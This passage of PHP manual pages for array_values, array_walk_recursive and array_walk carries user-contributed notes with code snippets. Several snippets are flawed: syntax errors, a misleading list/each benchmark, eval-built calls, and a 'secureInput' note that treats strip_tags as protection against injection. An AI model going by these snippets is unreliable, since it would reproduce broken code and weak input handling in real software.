 * Flattening a multi-dimensional array into a
 * single-dimensional one. The resulting keys are a
 * string-separated list of the original keys:
 *
 * a[x][y][z] becomes a[implode(sep, array(x,y,z))]
 */

function array_flatten_sep($sep, $array) {
  $result = array();
  $stack = array();
  array_push($stack, array("", $array));

  while (count($stack) > 0) {
    list($prefix, $array) = array_pop($stack);

    foreach ($array as $key => $value) {
      $new_key = $prefix . strval($key);

      if (is_array($value))
        array_push($stack, array($new_key . $sep, $value));
      else
        $result[$new_key] = $value
    }
  }

  return $result;
}

/*
 * Flattening a multi-dimensional array into an
 * n-dimensional one. The last n keys of each element are
 * preserved. If this results in ambiguities, results are
 * undefined.
 *
 * a[x_1][x_2]...[x_m]  becomes  a[x_{m-n+1}]...[x_m]
 */
function array_flatten_n($array, $n) {
  $result = array();
  $stack = array();
  array_push($stack, array(array(), $array));

  while (count($stack) > 0) {
    list($prefix, $array) = array_pop($stack);

    foreach ($array as $key => $value) {
      if (is_array($value)) {
        $new_prefix = array_values($prefix);
        array_push($new_prefix, $key);
        if (count($new_prefix) >= n)
          array_shift($new_prefix);

        array_push($stack, array($new_prefix, $value));
      } else {
        $array = $result;
        foreach ($prefix as $pkey) {
           if (!is_array($array[$pkey]))
             $array[$pkey] = array();
           $array = $array[$pkey];
        }
        $array[$key] = $value;
      }
    }
  }

  return $result;
}
?>
karl dot rixon at gmail dot com 18-Sep-2009 11:57
A modification of wellandpower at hotmail.com's function to perform array_values recursively. This version will only re-index numeric keys, leaving associative array indexes alone.

<?php

function array_values_recursive($array) {
    $temp = array();
    foreach ($array as $key => $value) {
        if (is_numeric($key)) {
            $temp[] = is_array($value) ? array_values_recursive($value) : $value;
        } else {
            $temp[$key] = is_array($value) ? array_values_recursive($value) : $value;
        }
    }
    return $temp;
}

?>
chrysb at gmail dot com 24-Sep-2008 09:34
If you are looking for a way to count the total number of times a specific value appears in array, use this function:

<?php
function array_value_count ($match, $array)
{
    $count = 0;

    foreach ($array as $key => $value)
    {
        if ($value == $match)
        {
            $count++;
        }
    }

    return $count;
}
?>

This should really be a native function of PHP.
madhamster 12-Jun-2008 01:18
Good function, if you want to acces associative array element by position:

<?php

$array = array('fruit'=>'apple', 'juice'=>'orange', 'color'=>'lime');

$array = array_values($array);

echo $array[2];

?>
rene dot zak at post dot cz 24-Apr-2008 10:05
<?php
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => ' ',
    'fruit4' => ' ',
    'fruit5' => 'apple');

    for ($i = 0; $i <  count($array); $i++) {
    $key=key($array);
    $val=$array[$key];
    if ($val<> ' ') {
       echo $key ." = ".  $val ." <br> ";
       }
     next($array);
    }

/*
fruit1 = apple
fruit2 = orange
fruit5 = apple
*/
?>
bluej100 at gmail dot com 07-Sep-2007 07:10
Most of the array_flatten functions don't allow preservation of keys. Mine allows preserve, don't preserve, and preserve only strings (default).

<?
// recursively reduces deep arrays to single-dimensional arrays
// $preserve_keys: (0=>never, 1=>strings, 2=>always)
function array_flatten($array, $preserve_keys = 1, &$newArray = Array()) {
  foreach ($array as $key => $child) {
    if (is_array($child)) {
      $newArray =& array_flatten($child, $preserve_keys, $newArray);
    } elseif ($preserve_keys + is_string($key) > 1) {
      $newArray[$key] = $child;
    } else {
      $newArray[] = $child;
    }
  }
  return $newArray;
}

// Tests

$array = Array(
  'A' => Array(
    1 => 'foo',
    2 => Array(
      'a' => 'bar'
    )
  ),
  'B' => 'baz'
);

echo 'var_dump($array);'."\n";
var_dump($array);
echo 'var_dump(array_flatten($array, 0));'."\n";
var_dump(array_flatten($array, 0));
echo 'var_dump(array_flatten($array, 1));'."\n";
var_dump(array_flatten($array, 1));
echo 'var_dump(array_flatten($array, 2));'."\n";
var_dump(array_flatten($array, 2));
?>
deceze at gmail dot YesThatsGoogleMail dot com 03-Sep-2007 09:31
Please note that 'wellandpower at hotmail.com's recursive merge doesn't work. Here's the fixed version:

<?php

function array_values_recursive($array) {
   $flat = array();

   foreach ($array as $value) {
           if (is_array($value)) $flat = array_merge($flat, array_values_recursive($value));
           else $flat[] = $value;
   }
   return $flat;
}

?>
warmo_at_o2_dot_pl 22-Mar-2007 07:42
@Yassin Ezbakhe <yassin88 at gmail dot com>
When we have to flatten multidimensional array of strings or numbers this method could be much faster.
Inconvenience of this method is, that its speed depends on size of strings/numbers, which array contains - bigger strings, lower efficiency.
Conclusion: Use this method for small amount of data in arrays (less than 500B per element in my case) which have many dimensions, in other case, use Yassin Ezbakhe method.

<?php

function md_implode($array, $glue = '')
{
    if (is_array ($array))
    {
        $output = '';
        foreach ($array as $v)
        {
            $output .= md_implode($v, $glue);
        }
        return $output;
    }
    else
    {
        return $array.$glue;
    }
}

function md_array_flatten($md_array)
{
    $flat_array = explode ('#|#',md_implode($md_array,'#|#')); // "#|#" is a sample delimiter
    array_pop($flat_array); // to remove last empty element
    return $flat_array;
}

//Usage:
$flat_array = md_array_flatten($some_md_array)

?>
ahigerd at stratitec dot com 24-Jan-2007 03:07
A comment on array_merge mentioned that array_splice is faster than array_merge for inserting values. This may be the case, but if your goal is instead to reindex a numeric array, array_values() is the function of choice. Performing the following functions in a 100,000-iteration loop gave me the following times: ($b is a 3-element array)

array_splice($b, count($b)) => 0.410652
$b = array_splice($b, 0) => 0.272513
array_splice($b, 3) => 0.26529
$b = array_merge($b) => 0.233582
$b = array_values($b) => 0.151298
wellandpower at hotmail.com 29-Aug-2006 02:56
The function here flatterns an entire array and was not the behaviour I expected from a function of this name.

I expected the function to flattern every sub array so that all the values were aligned and it would return an array with the same dimensions as the imput array, but as per array_values() adjusting the keys rater than removing them.

In order to do this, you will want this function:

function array_values_recursive($array) {
   $temp = array();

   foreach ($array as $value) {
           if(is_array($value)) { $temp[] = array_values_recursive($value); }
           else { $temp[] = $value; }
   }
   return $temp;
}

Hopefully this will assist.
wizglins at gmx dot ch 13-Apr-2006 09:21
In case you want to replace all keys in multiarrays by integers starting at 0, the following function might help.

<?php

function numerieren($array)
{
$array_v = array_values($array);
$count_v = count($array_v);

for ($i=0; $i<$count_v; $i++)
  if (is_array($array_v[$i]))
    $array_v[$i] = numerieren($array_v[$i]);
return $array_v;
}

?>
Yassin Ezbakhe <yassin88 at gmail dot com> 01-Sep-2005 01:28
<?php
/**********************************************
 *
 *   PURPOSE: Flatten a deep multidimensional array into a list of its
 *   scalar values
 *
 *   array array_values_recursive (array array)
 *
 *   WARNING: Array keys will be lost
 *
 *********************************************/

function array_values_recursive($array)
{
    $arrayValues = array();

    foreach ($array as $value)
    {
        if (is_scalar($value) OR is_resource($value))
        {
             $arrayValues[] = $value;
        }
        elseif (is_array($value))
        {
             $arrayValues = array_merge($arrayValues, array_values_recursive($value));
        }
    }

    return $arrayValues;
}
?>

This function is an improved and faster version of the one posted by <27-Apr-2004 09:47>
28-Apr-2004 03:47
<?php
/**
   flatten an arbitrarily deep multidimensional array
   into a list of its scalar values
   (may be inefficient for large structures)
   (will infinite recurse on self-referential structures)
   (could be extended to handle objects)
*/
function array_values_recursive($ary)
{
   $lst = array();
   foreach( array_keys($ary) as $k ){
      $v = $ary[$k];
      if (is_scalar($v)) {
         $lst[] = $v;
      } elseif (is_array($v)) {
         $lst = array_merge( $lst,
            array_values_recursive($v)
         );
      }
   }
   return $lst;
}
?>

code till dawn!  -mark meves!
nopy at users dot sourceforge dot net 24-Oct-2003 12:36
Just a warning that re-indexing an array by array_values() may cause you to reach the memory limit unexpectly.

For example, if your PHP momory_limits is 8MB,
 and says there's a BIG array $bigArray which allocate 5MB of memory.

Doing this will cause PHP exceeds the momory limits:

<?php
  $bigArray = array_values( $bigArray );
?>

It's because array_values() does not re-index $bigArray directly,
it just re-index it into another array, and assign to itself later.
mailseppel at gmx dot de 04-Oct-2002 01:10
Remember, that the following way of fetching data from a mySql-Table will do exactly the thing as carl described before: An array, which data may be accessed both by numerical and DB-ID-based Indexes:

<?php
$row = mysql_fetch_array($db_result, $db_link);
?>

Hope I haven't misunderstood anything here.. :)
carl at thep.lu.se 30-Jan-2002 12:59
Indeed you can, and that's what's so great about it. I have, for instance, a function that returns the results of a database query as an array. I want to keep the order that the entries were returned in, but at the same time I want to be able to access them _either_ by the position _or_ by some other index (such as some sort of ID in the database, gotten from elsewhere). In this case, I can make the function return an array from id to [array of values], and by a simple call to array_values() this is transformed into an array indexed from 0 to count()-1. Useful.


Apply a user function recursively to every member of an array

  • « array_values
  • array_walk »
  • PHP Manual
  • Array Functions
  • Apply a user function recursively to every member of an array

array_walk_recursive

(PHP 5)

array_walk_recursive — Apply a user function recursively to every member of an array

Description

bool array_walk_recursive ( array &$array , callable $callback [, mixed $userdata = NULL ] )

Applies the user-defined callback function to each element of the array. This function will recurse into deeper arrays.

Parameters

array

The input array.

callback

Typically, callback takes on two parameters. The array parameter's value being the first, and the key/index second.

Note:

If callback needs to be working with the actual values of the array, specify the first parameter of callback as a reference. Then, any changes made to those elements will be made in the original array itself.

userdata

If the optional userdata parameter is supplied, it will be passed as the third parameter to the callback.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 array_walk_recursive() example

<?php
$sweet = array('a' => 'apple', 'b' => 'banana');
$fruits = array('sweet' => $sweet, 'sour' => 'lemon');

function test_print($item, $key)
{
    echo "$key holds $item\n";
}

array_walk_recursive($fruits, 'test_print');
?>

The above example will output:

a holds apple
b holds banana
sour holds lemon

You may notice that the key 'sweet' is never displayed. Any key that holds an array will not be passed to the function.

See Also

  • array_walk() - Apply a user supplied function to every member of an array
  • information about the callback type

User Contributed Notes

gk at anuary dot com 08-Mar-2014 06:29
array_walk_recursive itself cannot unset values. Even though you can pass array by reference, unsetting the value in the callback will only unset the variable in that scope.

<?php
/**
 * http://uk1.php.net/array_walk_recursive implementation that is used to remove nodes from the array.
 *
 * @param array The input array.
 * @param callable $callback Function must return boolean value indicating whether to remove the node.
 * @return array
 */
function walk_recursive_remove (array $array, callable $callback) {
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $array[$k] = walk_recursive_remove($v, $callback);
        } else {
            if ($callback($v, $k)) {
                unset($array[$k]);
            }
        }
    }

    return $array;
}
?>

An up to date implementation of the above function can be looked up from https://github.com/gajus/marray/blob/master/src/marray.php#L116.
Anonymous 21-Nov-2013 07:42
since PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated when you use & in foo(&$a);. And as of PHP 5.4.0, call-time pass-by-reference was removed, so using it will raise a fatal error.
Rodrigo Guariento 23-Aug-2013 10:27
Simple array_walk_recursive:

// var example
$myArray = Array(
  Array('keyA1' => '    textA1 ', 'keyA2' => '  textA2     '),
  Array('keyB1' => '    textB1 ', 'sub' =>
        Array('keyB1_sub1' => '      textB1_sub1   '),
          Array('keyB1_sub2' => '      textB1_sub2   ')
      ),
  Array('keyC1' => '    textC1 ', 'keyC2' => '  textC2     '),
  Array('keyD1' => '    textD1 ', 'keyD2' => '  textD2     '),
  Array('keyE1' => '    textE1 ', 'keyE2' => '  textE2     ')
);

// function for "trim" (or your function, use same structure)
function trimming($data) {
  if (gettype($data) == 'array')
    return array_map("trimming", $data);
  else
    return trim($data);
}

// get array
$myArray = array_map("trimming", $myArray);

// show array trimmed
var_dump($myArray);

/*
RESULT

array (size=5)
  0 =>
    array (size=2)
      'keyA1' => string 'textA1' (length=6)
      'keyA2' => string 'textA2' (length=6)
  1 =>
    array (size=3)
      'keyB1' => string 'textB1' (length=6)
      'sub' =>
        array (size=1)
          'keyB1_sub1' => string 'textB1_sub1' (length=11)
      0 =>
        array (size=1)
          'keyB1_sub2' => string 'textB1_sub2' (length=11)
  2 =>
    array (size=2)
      'keyC1' => string 'textC1' (length=6)
      'keyC2' => string 'textC2' (length=6)
  3 =>
    array (size=2)
      'keyD1' => string 'textD1' (length=6)
      'keyD2' => string 'textD2' (length=6)
  4 =>
    array (size=2)
      'keyE1' => string 'textE1' (length=6)
      'keyE2' => string 'textE2' (length=6)

*/
none at of dot your dot biz 03-Jun-2013 07:50
Since this is only mentioned in the footnote of the output of one of the examples, I feel it should be spelled out:

* THIS FUNCTION ONLY VISITS LEAF NODES *

That is to say that if you have a tree of arrays with subarrays of subarrays, only the plain values at the leaves of the tree will be visited by the callback function.  The callback function isn't ever called for a nodes in the tree that subnodes (i.e., a subarray).  This has the effect as to make this function unusable for most practical situations.
chris at willowsconsulting dot ie 23-Oct-2012 07:11
To convert all values of an array in UTF8, do this:

<?php

function convert_before_json(&$item, &$key)
{
   $item=utf8_encode($item);
}

array_walk_recursive($your_array,"convert_before_json");

?>
cyranix at cyranix dot com 29-Oct-2011 04:45
I needed to add or modify values in an array with unknown structure. I was hoping to use array_walk_recursive for the task, but because I was also adding new nodes I came up with an alternate solution.

<?php

    /**
     * Sets key/value pairs at any depth on an array.
     * @param $data an array of key/value pairs to be added/modified
     * @param $array the array to operate on
     */
    function setNodes($data, &$array)
    {
        $separator = '.'; // set this to any string that won't occur in your keys
        foreach ($data as $name => $value) {
            if (strpos($name, $separator) === false) {
                // If the array doesn't contain a special separator character, just set the key/value pair.
                // If $value is an array, you will of course set nested key/value pairs just fine.
                $array[$name] = $value;
            } else {
                // In this case we're trying to target a specific nested node without overwriting any other siblings/ancestors.
                // The node or its ancestors may not exist yet.
                $keys = explode($separator, $name);
                // Set the root of the tree.
                $opt_tree =& $array;
                // Start traversing the tree using the specified keys.
                while ($key = array_shift($keys)) {
                    // If there are more keys after the current one...
                    if ($keys) {
                        if (!isset($opt_tree[$key]) || !is_array($opt_tree[$key])) {
                            // Create this node if it doesn't already exist.
                            $opt_tree[$key] = array();
                        }
                        // Redefine the "root" of the tree to this node (assign by reference) then process the next key.
                        $opt_tree =& $opt_tree[$key];
                    } else {
                        // This is the last key to check, so assign the value.
                        $opt_tree[$key] = $value;
                    }
                }
            }
        }
    }

?>

Sample usage:

<?php

$x = array();
setNodes(array('foo' => 'bar', 'baz' => array('quux' => 42, 'hup' => 101)), $x);
print_r($x); // $x has the same structure as the first argument
setNodes(array('jif.snee' => 'hello world', 'baz.quux.wek' => 5), $x);
print_r($x); // added $x['jif']['snee'] and modified $x['baz']['quux'] to be array('wek' => 5)

?>
ghoffman at salientdigital dot com 14-Oct-2011 07:29
If you are wanting to change the values of an existing multi-dimensional array, as it says above in the note, you need to specify the first argument as a reference. All that means is, be sure to precede the $item variable with an ampersand (&) as in the good_example below.

Unfortunately the PHP example given doesn't do this. It actually took me a while to figure out why my function wasn't changing the original array, even though I was passing by reference.

Here's the tip: Don't return any value from the function! Just change the value of $item that you passed in by reference. This is rather counter-intuitive since the vast majority of functions return a value.

<?php
// array_walk_recursive fails to change your array unless you pass by reference.
// Don't return values from your filter function, even though it's quite logical at a glance!
function bad_example($item,$key){
   if($key=='test'){
       return 'PHP Rocks';  // Don't do it
   }else{
      return $item;  // Don't do this either
   }
}

// array_walk_recursive pass-by-reference example
function good_example(&$item,$key){
   if($key=='test'){
        $item='PHP Rocks'; // Do This!
   }
}

$arr = array('a'=>'1','b'=>'2','test'=>'Replace This');

array_walk_recursive($arr,'bad_example');
var_dump($arr);
/**
 * no errors, but prints...
 * array('a'=>'1','b'=>'2','test'=>'Replace This');
 */

array_walk_recursive($arr,'good_example');
var_dump($arr);
/**
 * prints...
 * array('a'=>'1','b'=>'2','test'=>'PHP Rocks');
 */

?>

Returning a value from your function does work if you pass by reference and modify $item before you return, but you will eat up memory very, very fast if you try it, even on an example as small as the one here.

One other silly thing you might try first is something like this:

<?php
// Resist the urge to do this, it doesn't work.
$filtered = array_walk_recursive($unfiltered,'filter_function');
?>

Of course, $filtered is just TRUE afterwards, not the filtered results you were wanting. Oh, it ran your function recursively alright, but changed all the values in the local function scope only and returns a boolean as the documentation states.
rob at yurkowski dot net 26-Oct-2010 08:16
If you don't really particularly care about the keys of an array, you can capture all values quite simply:

<?php

$sample = array('dog' => 'woof', 'cat' => array('angry' => 'hiss', 'happy' => 'purr'), 'aardvark' => 'kssksskss');
$output = array();

// Push all $val onto $output.
array_walk_recursive($sample, create_function('$val, $key, $obj', 'array_push($obj, $val);'), &output);

// Printing
echo nl2br(print_r($output, true));

/*
* Array
* (
*  [0] => woof
*  [1] => hiss
*  [2] => purr
*  [3] => kssksskss
* )
*/
?>

[EDIT BY danbrown AT php DOT net: In a note added by 'FaustoFilho' on 17-MAY-2011, the following information was appended to this note.

[If you intend to use this] "function to extract the last key value of an array, don't forget to insert a currency sign ($) signal before '$output' at 7th line.

This value must be a variable, and if you forgot to assign this signal, your code won't work, displaying an error like this:

Parse error: syntax error, unexpected ')', expecting T_PAAMAYIM_NEKUDOTAYIM in /path/to/script.php on line 7."]
bradbeattie at gmail dot com 27-Aug-2010 08:18
The description says "If funcname needs to be working with the actual values of the array, specify the first parameter of funcname as a reference." This isn't necessarily helpful as the function you're calling might be built in (e.g. trim or strip_tags). One option would be to create a version of these like so.

<?php
    function trim_by_reference(&$string) {
        $string = trim($string);
    }
?>

The downside to this approach is that you need to create a wrapper function for each function you might want to call. Instead, we can use PHP 5.3's inline function syntax to create a new version of array_walk_recursive.

<?php
    /**
     * This function acts exactly like array_walk_recursive, except that it pretends that the function
     * its calling replaces the value with its result.
     *
     * @param $array The first value of the array will be passed into $function as the primary argument
     * @param $function The function to be called on each element in the array, recursively
     * @param $parameters An optional array of the additional parameters to be appeneded to the function
     *
     * Example usage to alter $array to get the second, third and fourth character from each value
     *     array_walk_recursive_referential($array, "substr", array("1","3"));
     */
    function array_walk_recursive_referential(&$array, $function, $parameters = array()) {
        $reference_function = function(&$value, $key, $userdata) {
            $parameters = array_merge(array($value), $userdata[1]);
            $value = call_user_func_array($userdata[0], $parameters);
        };
        array_walk_recursive($array, $reference_function, array($function, $parameters));
    }
?>

The advantage here is that we only explicitly define one wrapper function instead of potentially dozens.
amoffat at amoffat dot com 05-Jun-2008 02:15
<?
function my_array_map() {
    $args = func_get_args();
    $arr = array_shift($args);

    foreach ($args as $fn) {
        $nfn = create_function('&$v, $k, $fn', '$v = $fn($v);');
        array_walk_recursive($arr, $nfn, $fn);
    }
    return $arr;
}
?>

takes an array as the first argument, and functions as the other arguments.  it applies those functions recursively to the array
JW 15-Mar-2008 02:59
This function has a serious bug, which is still not fixed as of the PHP 5.2.5 release. After you call it, it can accidentally modify your original array. Save yourself hours of frustration by reading on.

The bug is here: http://bugs.php.net/bug.php?id=42850, and it looks like it will be fixed for 5.3.

If the array that you walk contains other array elements, they will be turned into references. This will happen even if the callback function doesn't take its first argument by reference, and doesn't do anything to the values.

For example, try this:
<?php
$data = array ('key1' => 'val1', 'key2' => array('key3' => 'val3'));
function foo($item, $key){}
var_dump($data);
?>

The original array has no references. Now try this:
<?php
array_walk_recursive($data,'foo');
var_dump($data);
?>

Now key2 is a reference, not just an array. So if you do this:
<?php
function test($item){$item['key2'] = array();}
test($data);
var_dump($data);
?>

you will see that test modifies $data, even though it shouldn't.

One workaround is to immediately make a deep copy of the array after calling array_walk_recursive, like this:
<?php
function array_duplicate($input) {
  if (!is_array($input)) return $input;
  $output = array();
  foreach ($input as $key => $value) {
    $output[$key] = array_duplicate($value);
  }
  return $output;
}
array_walk_recursive($data,'foo');
$data = array_duplicate($data);
var_dump($data);
?>

After doing that, the references are gone.
ik at paulkaspers dot nl 15-Oct-2006 10:46
To egingell at sisna dot com:

There is a small bug in your function, the following line should be changed:
From: if ($value != $saved_value || $saved_key != $key) {
Into: if ($value !== $saved_value || $saved_key !== $key) {

It's a nice function, because I was searching for something to change the keys of a multiple dimension array.
gabrielu at hotmail dot com 21-Feb-2006 10:13
I decided to add to the previous PHP 4 compatible version of array_walk_recursive() so that it would work within a class and as a standalone function.  Both instances are handled by the following function which I modified from omega13a at sbcglobal dot net.

The following example is for usage within a class.  To use as a standalone function take it out of the class and rename it.  (Example: array_walk_recursive_2)

<?php
class A_Class {

function array_walk_recursive(&$input, $funcname, $userdata = '') {
  if(!function_exists('array_walk_recursive')) {
    if(!is_callable($funcname))
      return false;

    if(!is_array($input))
      return false;

    foreach($input as $key=>$value) {
      if(is_array($input[$key])) {
        if(isset($this)) {
          eval('$this->' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
        } else {
          if(@get_class($this))
            eval(get_class() . '::' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
          else
            eval(__FUNCTION__ . '($input[$key], $funcname, $userdata);');
        }
      } else {
        $saved_value = $value;

        if(is_array($funcname)) {
          $f = '';
          for($a=0; $a<count($funcname); $a++)
            if(is_object($funcname[$a])) {
              $f .= get_class($funcname[$a]);
            } else {
              if($a > 0)
                $f .= '::';
              $f .= $funcname[$a];
            }
          $f .= '($value, $key' . (!empty($userdata) ? ', $userdata' : '') . ');';
          eval($f);
        } else {
          if(!empty($userdata))
            $funcname($value, $key, $userdata);
          else
            $funcname($value, $key);
        }

        if($value != $saved_value)
          $input[$key] = $value;
      }
    }
    return true;
  } else {
    array_walk_recursive($input, $funcname, $userdata);
  }
}

function kv_addslashes(&$v, $k) {
  $v = addslashes($v);
}
}
?>

Usage:
<?php
$arr = array(
  'a' => '"Hello World"',
  'b' => "'Hello World'",
  'c' => "Hello 'Worl\"d",
  'd' => array(
    'A' => 'H"e"l"l"o" "W"o"r"l"d'
    )
  );

$class = new A_Class();
$class->array_walk_recursive($arr, array(&$class, 'kv_addslashes'));
print_r($arr);
?>
omega13a at sbcglobal dot net 22-Dec-2005 01:21
This is a peice of code I wrote that appears to create this function for PHP 4.

<?php
if (!function_exists('array_walk_recursive'))
{
    function array_walk_recursive(&$input, $funcname, $userdata = "")
    {
        if (!is_callable($funcname))
        {
            return false;
        }

        if (!is_array($input))
        {
            return false;
        }

        foreach ($input AS $key => $value)
        {
            if (is_array($input[$key]))
            {
                array_walk_recursive($input[$key], $funcname, $userdata);
            }
            else
            {
                $saved_value = $value;
                if (!empty($userdata))
                {
                    $funcname($value, $key, $userdata);
                }
                else
                {
                    $funcname($value, $key);
                }

                if ($value != $saved_value)
                {
                    $input[$key] = $value;
                }
            }
        }
        return true;
    }
}
?>

Please note it is a conditionaly set function and will have to be put before any call to it.

If there is anything wrong with it, please email me.


Apply a user supplied function to every member of an array

  • « array_walk_recursive
  • array »
  • PHP Manual
  • Array Functions
  • Apply a user supplied function to every member of an array

array_walk

(PHP 4, PHP 5)

array_walk — Apply a user supplied function to every member of an array

Description

bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )

Applies the user-defined callback function to each element of the array array.

array_walk() is not affected by the internal array pointer of array. array_walk() will walk through the entire array regardless of pointer position.

Parameters

array

The input array.

callback

Typically, callback takes on two parameters. The array parameter's value being the first, and the key/index second.

Note:

If callback needs to be working with the actual values of the array, specify the first parameter of callback as a reference. Then, any changes made to those elements will be made in the original array itself.

Note:

Many internal functions (for example strtolower()) will throw a warning if more than the expected number of argument are passed in and are not usable directly as a callback.

Only the values of the array may potentially be changed; its structure cannot be altered, i.e., the programmer cannot add, unset or reorder elements. If the callback does not respect this requirement, the behavior of this function is undefined, and unpredictable.

userdata

If the optional userdata parameter is supplied, it will be passed as the third parameter to the callback.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

If function callback requires more parameters than given to it, an error of level E_WARNING will be generated each time array_walk() calls callback.

Examples

Example #1 array_walk() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");

function test_alter(&$item1, $key, $prefix)
{
    $item1 = "$prefix: $item1";
}

function test_print($item2, $key)
{
    echo "$key. $item2<br />\n";
}

echo "Before ...:\n";
array_walk($fruits, 'test_print');

array_walk($fruits, 'test_alter', 'fruit');
echo "... and after:\n";

array_walk($fruits, 'test_print');
?>

The above example will output:

Before ...:
d. lemon
a. orange
b. banana
c. apple
... and after:
d. fruit: lemon
a. fruit: orange
b. fruit: banana
c. fruit: apple

See Also

  • array_walk_recursive() - Apply a user function recursively to every member of an array
  • iterator_apply() - Call a function for every element in an iterator
  • list() - Assign variables as if they were an array
  • each() - Return the current key and value pair from an array and advance the array cursor
  • call_user_func_array() - Call a callback with an array of parameters
  • array_map() - Applies the callback to the elements of the given arrays
  • information about the callback type
  • foreach

User Contributed Notes

P-Body Germany 24-Oct-2014 08:52
/* You can use array_walk to secure your php-code and avoid it against php/html-injection. This sample secures incoming user-data: */

<?php
array_walk($_POST, 'secureInput');
array_walk($_GET, 'secureInput');
array_walk($_REQUEST, 'secureInput');
array_walk($_FILES, 'secureInput);

function secureInput(&$value, $key)
{
    $value = trim($value);
    // removes blank space at beginning an end
    $value = strip_tags($value);
    // removes all HTML- an PHP-commands
    }
?>

If you want to allow some HTML- or PHP-commands, use this:

    $value = strip_tags($value, '<p><br>');
 // removes all HTML- an PHP-commands, excepted <p></p> and <br /> Tags.

NOTE: it is important to add the "&" infront of $value in the function! Otherwhise the function won't remove the HTML- and PHP-code.
ezhacher at gmail dot com 27-Aug-2014 09:45
Calling an array Walk inside a class

If the class is static:
array_walk($array, array('self', 'walkFunction'));
or
array_walk($array, array('className', 'walkFunction'));

Otherwise:
array_walk($array, array($this, 'walkFunction'));
chaley at brtransport dot com 16-Jun-2014 09:46
There is a note about 3 years ago regarding using this for trimming. array_map() may be cleaner for this. I haven't checked the time/resource impact:

$result = array_map("trim", $array);
Arseny Nikonian 19-Mar-2014 09:38
If the project often change the datatype of the array.
Если в проекте нужно часто менять тип данных в массиве.
<?php
/**
 * Callback-функция (для array_walk) преобразует тип данных элементов массива.
 * @param mixed $item Значение элемента обрабатываемого массива.
 * @param int|string $key Ключ элемента массива.
 * @param string $type Тип данных, в который преобразуем элементы массива.
 */
function convertTypeValueArray(&$item, $key, $type)
{
    $arValidType = array("boolean", "bool", "integer", "int", "float", "string", "array", "object", "null");
    $type = strtolower($type);
    if(in_array($type, $arValidType))
    {
        settype($item, $type);
    }
}

$arTest = array("", 1, " 2", 3.1, "4.2", " 5 ");
array_walk($arTest, "convertTypeValueArray", "int");
var_dump($arTest); // array(6) { [0]=> int(0) [1]=> int(1) [2]=> int(2) [3]=> int(3) [4]=> int(4) [5]=> int(5) }
?>
zlobnygrif at gmail dot com 17-Jul-2013 02:41
Some speed tests

<?php
// Test results
$array1 = test('array_walk');
$array2 = test('array_walk_list_each');
$array3 = test('array_walk_foreach1');
$array4 = test('array_walk_foreach2');

// Check arrays for equal
var_dump($array1 == $array2, $array1 == $array3, $array1 == $array4);

// Test function 1
function array_walk_list_each(&$array, $function, $userData = null) {
    while ( list($key, $value) = each($array) )
        $function($array[$key], $key, $userData);
}

// Test function 2
function array_walk_foreach1(&$array, $function, $userData = null) {
    foreach ($array as $key => &$value )
        $function($value, $key, $userData);
}

// Test function 3
function array_walk_foreach2(&$array, $function, $userData = null) {
    foreach ($array as $key => $value )
        $function($array[$key], $key, $userData);
}

function some_function(&$value, $key, $userData) {
    $value = "$key => $userData";
}

function test($function, $count = 10000, $arrayElements = 1000) {
    echo $function, ' ... ';
    $array = array_fill(0, $arrayElements, "some text value");

    $timer = microtime(true);
    for( $i = 0; ++$i < $count; )
        $function($array, 'some_function', 'some user data');
    printf("%.3f sec\n", microtime(true) - $timer);

    return $array;
}
?>

Output (PHP 5.4.9-4ubuntu2.2 (cli) (built: Jul 15 2013 18:24:39))
=========================
array_walk ... 13.572 sec
array_walk_list_each ... 0.027 sec
array_walk_foreach1 ... 15.356 sec
array_walk_foreach2 ... 17.416 sec
bool(true)
bool(true)
bool(true)

Output (PHP 5.5.0 (cli) (built: Jul 16 2013 17:59:42) - same server)
=========================
array_walk ... 4.776 sec
array_walk_list_each ... 0.006 sec
array_walk_foreach1 ... 4.482 sec
array_walk_foreach2 ... 5.166 sec
bool(true)
bool(true)
bool(true)

PHP 5.5 array_walk looks pretty good but list each is more and more quickly...
brian at access9 dot net 25-May-2013 07:03
array_walk does not work on SplFixedArray objects:
<?php
$array = new SplFixedArray(2);
$array[0] = 'test_1';
$array[1] = 'test_2';

array_walk($array, function(&$val){
    $val .= '__';
    return $val;
});
foreach ($array as $a) {
    echo "$a\n";
}
?>

result is:
test_1
test_2
gold[at]evolved.net.nz 28-Mar-2013 07:08
For all those people trying to shoe-horn trim() into array_walk() and have found all these tricks to work around the issue with array_walk() passing 2 parameters to the callback...

Check out array_map().

http://php.net/array_map

It's all sorts of win.

For the record. I'm one of these people and after 15 years of php development I'm pleased to say that there's still things I'm learning. :)  I just found out about array_map() myself...
espertalhao04 at hotmail dot com 26-Dec-2012 08:35
here is a simple and yet easy to use implementation of this function.
the 'original' function has the problem that you can't unset a value.
with my function, YOU CAN!

<?php
function array_walk_protected(&$a,$s,$p=null)
{
    if(!function_exists($s)||!is_array($a))
    {
        return false;
    }

    foreach($a as $k=>$v)
    {
        if(call_user_func_array($s,array(&$a[$k],$k,$p))===false)
        {
            unset($a[$k]);
        }
    }
}

function get_name(&$e,$i,$p)
{
    echo "$i: $e<br>";
    return false;
}

$m=array('d'=>'33','Y'=>55);

array_walk_protected($m,'get_name');

var_dump($m); //returns array(0) { }
?>

i called it array_walk_protected because it is protected against the unexpected behavior of unsetting the value with the original function.

to delete an element, simply return false!!!
nothing else is needed!
unsetting $e, under your created function, will keep the same array as-is, with no changes!

by the way, the function returns false if $a is not array or $s is not a string!

limitations: it only can run user defined functions.
i hope you like it!
selimacar at hotmail dot com 11-Jun-2012 10:34
####### I intuitively tried to use array_walk function with PHP built-in function "abs($var)" but it did not work and got some warning message

<?php
$values = array(-5,2,3,-8,4,-1,0);
array_walk($values, "abs");
?>

=> Warning: abs() expects exactly 1 parameter, 2 given in ...

###### Then I wrote this function :

<?php
function myAbs(&$val){
    $val =  abs($val);
}
array_walk($values, "myAbs");
?>

##### It works!
manuscle at gmail dot com 06-Dec-2011 04:16
example with closures, checking and deleting value in array:

<?php
$array = array('foo' => 'bar', 'baz' => 'bat');

array_walk($array, function($val,$key) use(&$array){
